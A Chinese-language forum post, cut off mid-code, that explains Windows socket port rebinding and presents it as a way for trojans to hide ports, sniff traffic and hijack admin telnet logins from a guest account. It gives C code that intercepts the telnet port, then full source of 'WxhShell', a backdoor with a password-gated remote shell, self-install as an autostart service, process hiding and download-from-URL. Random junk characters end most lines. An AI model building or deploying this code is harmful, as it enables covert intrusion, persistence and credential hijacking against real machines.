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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aM.l+D P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7!JoP ?!  
:eQx di'  
  saddr.sin_family = AF_INET; Ed*`d>  
JEBo!9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nhXa&Nro  
#8|;Q`Or:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w6Tb<ja  
x'JfRz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 on&N=TN  
#0Oqw=F  
  这意味着什么?意味着可以进行如下的攻击: _W#27I  
;N"XW=F4e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =AcbX_[  
`(B1 "qRi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z/x<U.B  
e$>5GM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {/0,lic  
@1Zf&'/6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  29Q5s$YD@  
NKd@ Kp`,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,$;CII v  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @MB;Ez v  
Ha+FH8rZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]B,S<*h  
0U/:Tpyr  
  #include 1;:2=8  
  #include ;_Rx|~!!  
  #include nM0nQ{6  
  #include    hU=J^Gi0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BgpJ;D+N4  
  int main() XIp9=jhSR  
  { }lxvXVc{I  
  WORD wVersionRequested; |[{;*wtv  
  DWORD ret; U<6k!Y9ny  
  WSADATA wsaData; lP9I\Ge&  
  BOOL val; Dh9-~}sW'  
  SOCKADDR_IN saddr; k Lv_P[I  
  SOCKADDR_IN scaddr; /e7'5#v  
  int err; %*19S.=l  
  SOCKET s; BO9Z "|"  
  SOCKET sc; 93!a  
  int caddsize; Bw#ubQJ8}  
  HANDLE mt; M5x!84  
  DWORD tid;   ;Q"F@v}18  
  wVersionRequested = MAKEWORD( 2, 2 ); Q[b({Vj;tG  
  err = WSAStartup( wVersionRequested, &wsaData ); h ?ia4t  
  if ( err != 0 ) { 5AjK7[<L  
  printf("error!WSAStartup failed!\n"); j qdI=!H  
  return -1; Qrt8O7&('  
  } bL&]3n9Rwu  
  saddr.sin_family = AF_INET; Gqia@>T4*N  
   xLD6A5n,[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `?D_=Gw  
zgRP!q<9tt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {//F>5~[  
  saddr.sin_port = htons(23); $@Ay0GEI"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7YN)T?  
  { Z~,.l  
  printf("error!socket failed!\n"); n47=eKd70  
  return -1; r2](~&i2  
  } - dOT/%Ux  
  val = TRUE; C5WCRg5&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tZ@ +18  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QhG-1P3#  
  { *3ne(c  
  printf("error!setsockopt failed!\n"); ={b ]  
  return -1; 0%qUTGj  
  } 23f[i<4e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wr$}AX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {4QOUqAu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wqwJpWIe  
@\D D|o67  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `HM3YC  
  { 9V66~Bf5  
  ret=GetLastError(); BH-[q9pf  
  printf("error!bind failed!\n"); K8U Az"  
  return -1; Uo @NK  
  } $&C(oh$:  
  listen(s,2); C^%zV>o  
  while(1) jSFN/C.9h  
  { Z M+Hb_6f  
  caddsize = sizeof(scaddr); g&Z7h4!\  
  //接受连接请求 . ?p}:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZW?7g+P  
  if(sc!=INVALID_SOCKET) VRX" @uCD  
  { ?:?4rIZ<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H{f_:z{{  
  if(mt==NULL) }91mQ`3  
  { B (1,Rq[  
  printf("Thread Creat Failed!\n"); aVP|:OAj  
  break; O&,O:b:@  
  } ;-?ZI$  
  } Is@a,k  
  CloseHandle(mt); |mk}@OEf  
  } S/-7Zo&w+  
  closesocket(s); X[Ek'=}  
  WSACleanup(); ~RXpz-Ye  
  return 0; 5FSv"=  
  }   Z02s(y=k1  
  DWORD WINAPI ClientThread(LPVOID lpParam) olMO+-USP  
  {  <8)s  
  SOCKET ss = (SOCKET)lpParam; r.W,-%=bL  
  SOCKET sc; *yaX:,'\$  
  unsigned char buf[4096]; ,Us2UEWNv  
  SOCKADDR_IN saddr; |2@en=EYk  
  long num; 0sd-s~;  
  DWORD val; ]zyX@=mM  
  DWORD ret; >C3NtGvy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DvX3/z#T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^W"Q (sh  
  saddr.sin_family = AF_INET; ^QAiySR`0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -k&{nD|  
  saddr.sin_port = htons(23); <{/;1Dru  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d>, V  
  { 20VVOnDY  
  printf("error!socket failed!\n"); {KDgK  
  return -1; 5}eQaW48  
  } V-_/(xt*  
  val = 100; +%wWSZ<#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^%8qKC`Tt  
  { ^5]u BOv  
  ret = GetLastError(); NaA+/:  
  return -1; C4{\@v}t  
  } y?#9>S >:\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NLQE"\#a  
  { m1-\qt-yy  
  ret = GetLastError(); T;!ukGoFP  
  return -1; l>~`;W  
  } nMG rG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8lOI\-  
  { q[G/}  
  printf("error!socket connect failed!\n"); ^Cg^ `n?@b  
  closesocket(sc); j/9WOIfa  
  closesocket(ss); A)Qh  
  return -1; 1OJ*wI*  
  } @Y UY9+D&  
  while(1) d=XpO*v,[  
  { bar0{!Y"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {7?9jEj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yGvDn' m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 > BNw  
  num = recv(ss,buf,4096,0); k&) K(  
  if(num>0) u#+RUtM  
  send(sc,buf,num,0); )nwZ/&@  
  else if(num==0) Y{Da+  
  break; EZ"bW  
  num = recv(sc,buf,4096,0); \sK:W|yy  
  if(num>0) j z~[5m}J  
  send(ss,buf,num,0); \=!H2M  
  else if(num==0) 1")FWN_K/T  
  break; y"^yYO  
  } MO[kr2T  
  closesocket(ss); ~G>jw"r  
  closesocket(sc); 4'SaEsA~  
  return 0 ; '>3`rsu  
  } H9RGU~q4s[  
I%@e@Dm,h  
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========================================================== DVI7]+=nV  
vsKl#R B  
下边附上一个代码,,WXhSHELL [O2h- `  
{6'*Phw  
========================================================== Kax#OYLpg  
Wo{K}  
#include "stdafx.h" W57&\PXYn  
P5xI  
#include <stdio.h> q] ^,vei  
#include <string.h> M% @  
#include <windows.h> Xo Y7/&&  
#include <winsock2.h> $uCiXDKCq  
#include <winsvc.h> rvic%bsk  
#include <urlmon.h> lop uf/U0  
Gn59 yG!4  
#pragma comment (lib, "Ws2_32.lib") #vQ?  
#pragma comment (lib, "urlmon.lib") f =o4I2Y[  
'[nmFCG%m*  
#define MAX_USER   100 // 最大客户端连接数 e*:}$u8 a  
#define BUF_SOCK   200 // sock buffer KAed!z9  
#define KEY_BUFF   255 // 输入 buffer 9? 2  
hK(tPl$  
#define REBOOT     0   // 重启 P-'_}*wxi  
#define SHUTDOWN   1   // 关机 vX+.e1m  
> \3ah4"o  
#define DEF_PORT   5000 // 监听端口 WfG(JJ  
?*H9-2W@  
#define REG_LEN     16   // 注册表键长度 %cX"#+e  
#define SVC_LEN     80   // NT服务名长度 T C8`JU=wV  
)~V }oKk0t  
// 从dll定义API  H4:ZTl_$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o.Oq__>$H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \D?:J3H*]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #~k[6YR 0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T%(C-Quh  
Ox qguT,  
// wxhshell配置信息 vXdZmYrC  
struct WSCFG { S`iR9{+&  
  int ws_port;         // 监听端口 }>}1oUCi  
  char ws_passstr[REG_LEN]; // 口令 Mvb':/M  
  int ws_autoins;       // 安装标记, 1=yes 0=no :.uk$jx  
  char ws_regname[REG_LEN]; // 注册表键名 ,Ff n)+  
  char ws_svcname[REG_LEN]; // 服务名 tnb$sulc+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uZIJoT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3b!,D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 | o0RP|l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mS%4gx~~_n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^.go O]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pu4,0bw  
/L v1$~  
}; rh%m;i<b  
m\vmY  
// default Wxhshell configuration dE5D3ze  
struct WSCFG wscfg={DEF_PORT, 8W+5)m.tp  
    "xuhuanlingzhe", por/^=e{Y  
    1, Qi9-z'  
    "Wxhshell", a#0;==#  
    "Wxhshell", |`O7nOM  
            "WxhShell Service", @r;wobt  
    "Wrsky Windows CmdShell Service", }Qr6 l/2  
    "Please Input Your Password: ", Br5o7(AE  
  1, 7:Zt uc]  
  "http://www.wrsky.com/wxhshell.exe", PaO- J&<  
  "Wxhshell.exe" ^6;V}2>v}  
    }; v]"L]/"  
 !HK^AwNY  
// 消息定义模块 9&Ne+MY^%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +dW|^I{H}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PmX2[7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `bG7"o`  
char *msg_ws_ext="\n\rExit."; 2/7_;_#vJ%  
char *msg_ws_end="\n\rQuit."; {1-V]h.<J  
char *msg_ws_boot="\n\rReboot..."; ^G1%6\We  
char *msg_ws_poff="\n\rShutdown..."; D'_Bz8H!p  
char *msg_ws_down="\n\rSave to "; cYNV\b4-  
)9v`f9X){  
char *msg_ws_err="\n\rErr!"; q]% T:A=  
char *msg_ws_ok="\n\rOK!"; aP-<4uGx  
v;EQ, NL  
char ExeFile[MAX_PATH]; b-^p1{A0zW  
int nUser = 0; `>lzlEhKV  
HANDLE handles[MAX_USER]; jd-glE,Y/  
int OsIsNt; ZcE_f>KV  
)?aaBaN$  
SERVICE_STATUS       serviceStatus; aelO3'UN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vw{*P2v)  
K>/%X!RW  
// 函数声明 u1^wDc*xg  
int Install(void); ,&^3Z  
int Uninstall(void); 0s#Kp49-  
int DownloadFile(char *sURL, SOCKET wsh); W"q@Qa`Bm  
int Boot(int flag); vH[47CvG5  
void HideProc(void); 0(TTw(;  
int GetOsVer(void); )c2_b  
int Wxhshell(SOCKET wsl); /=?x{(B>  
void TalkWithClient(void *cs); `# P$ ]:  
int CmdShell(SOCKET sock); &a0r%L()X  
int StartFromService(void); 6xK[34~ 6  
int StartWxhshell(LPSTR lpCmdLine); .="bzgC3A  
TUK"nKSZ`.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YwEpy(}hJm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2x]>l? 5b  
D;}xr_  
// 数据结构和表定义 !^oV #  
SERVICE_TABLE_ENTRY DispatchTable[] = bm~W EX  
{ Dim> 7Wbh  
{wscfg.ws_svcname, NTServiceMain}, N2r/ho}8  
{NULL, NULL} &)d$t'7p  
}; @$^bMIj@W  
ZUm?*.g\^  
// 自我安装  uF|3/x=  
int Install(void) {$D,?V@%_  
{ =W bOwI)u  
  char svExeFile[MAX_PATH]; enS}A*Io  
  HKEY key; 3f.b\4 U  
  strcpy(svExeFile,ExeFile); HAzBy\M{  
z G }?  
// 如果是win9x系统,修改注册表设为自启动 \W5O&G-C  
if(!OsIsNt) { |~`as(@Ih  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & F:IIo7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {6;9b-a]  
  RegCloseKey(key); $ i)bq6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?lGG|9J\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H(c72]@Vg  
  RegCloseKey(key); 94uN I8  
  return 0; H={DB  
    } bK"SKV  
  } hd\gH^wk  
} :K`ESq!8u  
else { >WJf=F`_H  
$EZN1\  
// 如果是NT以上系统,安装为系统服务 ^H{R+}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RpWTpT1  
if (schSCManager!=0) l& 4,v  
{ oF9 -&  
  SC_HANDLE schService = CreateService El_wdbbT  
  ( sQ6 }\  
  schSCManager, w{[=l6L m  
  wscfg.ws_svcname, +d+@u)6  
  wscfg.ws_svcdisp, .7'kw]{/  
  SERVICE_ALL_ACCESS, 0nn okN^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @2pu^k^  
  SERVICE_AUTO_START, T{V/+RM  
  SERVICE_ERROR_NORMAL, 0iULCK  
  svExeFile, UDhG :  
  NULL, HX'FYt/?t  
  NULL, U~h'*nV&  
  NULL, ] 2 #  
  NULL, S)QAXjH  
  NULL /27JevE  
  ); "|;:>{JC  
  if (schService!=0) LmlXMia  
  { ZX ?yL>4  
  CloseServiceHandle(schService); V fv@7@q  
  CloseServiceHandle(schSCManager); #-pc}Y|<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4h@Z/G!T3  
  strcat(svExeFile,wscfg.ws_svcname); FMkOo2{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k(zsm"<q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Jcm+ Wb  
  RegCloseKey(key); ^TMJ8` e  
  return 0; Hzrtlet  
    } wi9DhVvc 0  
  } >=]'hyn]]  
  CloseServiceHandle(schSCManager); T+N|R  
} xs\!$*R  
} OB[o2G<0  
|F9z,cc"  
return 1; &1+X\c+t b  
} [tMZ G%h  
3 ?Y|  
// 自我卸载 !61Pl/uQ  
int Uninstall(void) ,J`'Y+7W  
{ \*,=S52  
  HKEY key; sp@E8G%xO  
ZeG_en ;  
if(!OsIsNt) { SP|<Tny  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B||;'  
  RegDeleteValue(key,wscfg.ws_regname); P"<U6zM\sP  
  RegCloseKey(key); +~xnXb1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7' S@3   
  RegDeleteValue(key,wscfg.ws_regname); J9K3s_SN  
  RegCloseKey(key); @ym/27cRE  
  return 0; Oy 2+b1{  
  } +7t6k7]c  
} Rb(SBa  
} ^ wY[3"{  
else { C> [ Uvc  
7\ nf:.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PMfkA!.Y  
if (schSCManager!=0) e^ lWR]v  
{ l4TpH|k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0\2\*I}?  
  if (schService!=0) w '3#&k+  
  { ~4?9a(>3  
  if(DeleteService(schService)!=0) { %lg=YGLQB  
  CloseServiceHandle(schService); lo'W1p  
  CloseServiceHandle(schSCManager); 0oEOre3^%  
  return 0; c\% r38  
  } >Z1q j>  
  CloseServiceHandle(schService); 4(-b x.V  
  } y>*xVK{D  
  CloseServiceHandle(schSCManager); o !4!"O'E  
} %T7nO%p  
} F#|: `$ t  
)"+(butI&  
return 1; >a3p >2  
} m^x6>9,  
Cuc$3l(%  
// 从指定url下载文件 g#]wLm#  
int DownloadFile(char *sURL, SOCKET wsh) pH`44KAuM  
{ QJ|ap4r  
  HRESULT hr; (|wz7 AY2  
char seps[]= "/"; L.]$6Q0  
char *token; f<A5?eKw  
char *file; si4don  
char myURL[MAX_PATH]; xG;-bJu  
char myFILE[MAX_PATH]; jNeI2-9c}  
97)/"i e  
strcpy(myURL,sURL); ~{}#)gGU  
  token=strtok(myURL,seps); ]jpu,jz:  
  while(token!=NULL) TNJG#8n%Y  
  { V] Et wA  
    file=token;  ["}rk  
  token=strtok(NULL,seps); 0|; .6\  
  } @AYRiOodi  
j5I`a 1j`  
GetCurrentDirectory(MAX_PATH,myFILE); S(:l+JP  
strcat(myFILE, "\\"); WL{(Ob  
strcat(myFILE, file); -|rLs$V1r  
  send(wsh,myFILE,strlen(myFILE),0); LSQz"Ll l  
send(wsh,"...",3,0); 5[n(7;+gw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ma| qHg  
  if(hr==S_OK) OxGE%R,  
return 0; pKS {6P  
else @* il3h,  
return 1; -l}IZY  
-+t]15  
} l1]p'Liuu  
P=1I<Pew  
// 系统电源模块 ttXjn  
int Boot(int flag) M# 18H<]  
{ ~afg)[(  
  HANDLE hToken; 2YuN~-  
  TOKEN_PRIVILEGES tkp; K gN)JD>  
-YD+(c`l  
  if(OsIsNt) { ,7XtH>2s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *._|-L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1N2,mo?2  
    tkp.PrivilegeCount = 1; b|z g<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2BCtJ`S`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D#S\!>m  
if(flag==REBOOT) { >yJ9U,Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bxK(9.  
  return 0; NA,C Z  
} CQ;]J=|<_  
else { a(]`F(L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5X.e*;  
  return 0; A[WV'!A,  
} r}yG0c,  
  } `]Bxn) b(  
  else { >+5?F*`\D*  
if(flag==REBOOT) { . |*f!w}5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #}^-C&~  
  return 0; /MQU >&  
} fri0XxF  
else { )rLMIk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f`>/ H!<2  
  return 0; 5BR5X\f0  
} 97!>%d[0  
} $>U # W:  
wiX~D  
return 1; P\CDd=yWc  
} |_u8mV  
OPBt$Ki  
// win9x进程隐藏模块 :T3/yd62N  
void HideProc(void) #<( = }?  
{ <ktzT&A  
1p`+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9s +z B  
  if ( hKernel != NULL ) ')S;[=v  
  { ;jK#[*y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @+U,Nzd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t"j|nz{m  
    FreeLibrary(hKernel); EPW7+Ve  
  } (wRBd  
+5v}q.:+  
return; !e#xx]v3  
} 0e["]Tlnm  
2W M\e lnA  
// 获取操作系统版本 y%]8'q$  
int GetOsVer(void) I>h<b_y  
{ B6Ej{q^k,  
  OSVERSIONINFO winfo; i54md$Q^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PU9`<3z5  
  GetVersionEx(&winfo); 7=4A;Ybq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YEjY8]t  
  return 1; P];JKE%  
  else gM;}#>6  
  return 0; cd;NpN  
} PBks` |+  
FqA3  {  
// 客户端句柄模块 r0m)j  
int Wxhshell(SOCKET wsl) z}}]jR \y?  
{ +V v+K(lh$  
  SOCKET wsh; MWuXI1  
  struct sockaddr_in client; B'>*[!A  
  DWORD myID; kR.wOJ7'  
b'>8ZIY  
  while(nUser<MAX_USER) ^c9ThV.v  
{ D_|B2gdZY  
  int nSize=sizeof(client); zW{ 6Eg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w'Z!;4E0  
  if(wsh==INVALID_SOCKET) return 1; ZofHi c  
1TqF6`;+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X7aXxPCq1  
if(handles[nUser]==0) PB~_I=  
  closesocket(wsh); <z#BsnjW{  
else >L2*CV3p  
  nUser++; i8V0Ty4~N  
  } m^!Sv?hV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t \5c@j p  
%u]6KrG18b  
  return 0; o0;7b>Tv  
} #!!AbuhzK{  
OKY+M^PP  
// 关闭 socket c]Unbm^w  
void CloseIt(SOCKET wsh) y{rn-?`{  
{ MUof=EJg>u  
closesocket(wsh); jOv"<  
nUser--; q&M:17+:Q  
ExitThread(0); <A~GW 'HB  
} lC9S\s  
hN4VlNKu  
// 客户端请求句柄 ;bHfn-X  
void TalkWithClient(void *cs) @[r={s\  
{ .Vx|'-u  
4UCwT1  
  SOCKET wsh=(SOCKET)cs; <Ry $7t,  
  char pwd[SVC_LEN]; Fe= "EDh  
  char cmd[KEY_BUFF]; Z*bC#s?  
char chr[1]; )bW5yG!  
int i,j; gg8c7d:Q  
|QYZRz  
  while (nUser < MAX_USER) { iPU% /_>  
Dr 'sIH^  
if(wscfg.ws_passstr) { KSOO?X0j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %_tk7x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *( *z|2  
  //ZeroMemory(pwd,KEY_BUFF); 3_J>y  
      i=0; `C<F+/q  
  while(i<SVC_LEN) { P0#`anUr1  
G ]lvHD  
  // 设置超时 wW()Zy0)  
  fd_set FdRead; h*'d;_(,  
  struct timeval TimeOut; vXubY@k2  
  FD_ZERO(&FdRead); PPgW ^gj  
  FD_SET(wsh,&FdRead); Ygx,t|?7  
  TimeOut.tv_sec=8; 5+FLSk  
  TimeOut.tv_usec=0; ,I39&;Iq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1 ;Ju]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~u2w`H?V  
h2&y<Eg>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EW;1`x  
  pwd=chr[0]; 6 6dTs,C  
  if(chr[0]==0xd || chr[0]==0xa) { I7bi@t  
  pwd=0; S>EDL  
  break; [|z'"Gk{  
  } _FFv#R*4  
  i++; \>;%Ji  
    } z `@z  
vrO%XvXW  
  // 如果是非法用户,关闭 socket qzlER  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \d5}5J]a&n  
} Bn_g-WrT  
HSql)iT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P,`=]Y*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xr2 Wa  
r"[L0Cbb  
while(1) { @|'Z@>!/pV  
[$oM  
  ZeroMemory(cmd,KEY_BUFF); (l2<+R%1  
rxArTpS{.#  
      // 自动支持客户端 telnet标准   'y eh7oR  
  j=0; Uk|9@Auav  
  while(j<KEY_BUFF) { Y}ky/?q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kw;wlFU;  
  cmd[j]=chr[0]; {~"Em'}J  
  if(chr[0]==0xa || chr[0]==0xd) { 3m~U(yho  
  cmd[j]=0; XC2Q*Z  
  break; H<{*ub4'L*  
  } >["Kd.ye  
  j++; @NBXyC8,Z  
    } W -3w7^  
)Jmw|B  
  // 下载文件 ![j(o!6&  
  if(strstr(cmd,"http://")) { .GtINhz*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8@Q"YA 3d+  
  if(DownloadFile(cmd,wsh)) fA;x{0CAMX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ruWye1X;  
  else )~G8 LZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3!1&DII4  
  } mJ/^BT]  
  else { /^NJ)9IB  
*pY/5? g  
    switch(cmd[0]) { e-1;dX HL  
  ,Z >JvTnH  
  // 帮助 Y{`3`Pg&N  
  case '?': { yFIl^Ck%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m<~>&mWr  
    break; 3@%BA(M  
  } g521Wdtnn  
  // 安装 _3*: y/M_  
  case 'i': { Z+OAs0}mV  
    if(Install()) e?|d9;BO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /abmjV0  
    else Au~+Zz|mQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Cg`x=G;z  
    break; ?=TL2"L  
    } V}j %gy`  
  // 卸载 U;^CU!a  
  case 'r': { uv?8V@x2  
    if(Uninstall()) hqdC9?\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]:[)KZ~  
    else i/l!Cr2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cij$GYkv  
    break; 3Pw %[q=g  
    } R?1idl)  
  // 显示 wxhshell 所在路径 JI28O8  
  case 'p': { gK&5HTo  
    char svExeFile[MAX_PATH]; aUsul'e;M  
    strcpy(svExeFile,"\n\r"); kxt\{iy4  
      strcat(svExeFile,ExeFile); S.zg&   
        send(wsh,svExeFile,strlen(svExeFile),0); #RCZA4>  
    break; {o Q(<&Aw  
    } )*q7pO\cty  
  // 重启 3sd{AkD^  
  case 'b': { Z1XUYe62  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [,.[gWA  
    if(Boot(REBOOT)) @S/g,;7"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &"@HWF  
    else { K|P9uHD  
    closesocket(wsh); <DA{\'jJ  
    ExitThread(0); }z9I`6[  
    } 0R2S@4%Y  
    break; 1Xk{(G<\  
    }  60Xl.  
  // 关机 :pL1F)-*  
  case 'd': { o(v"?Y6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yoq\9* ?u^  
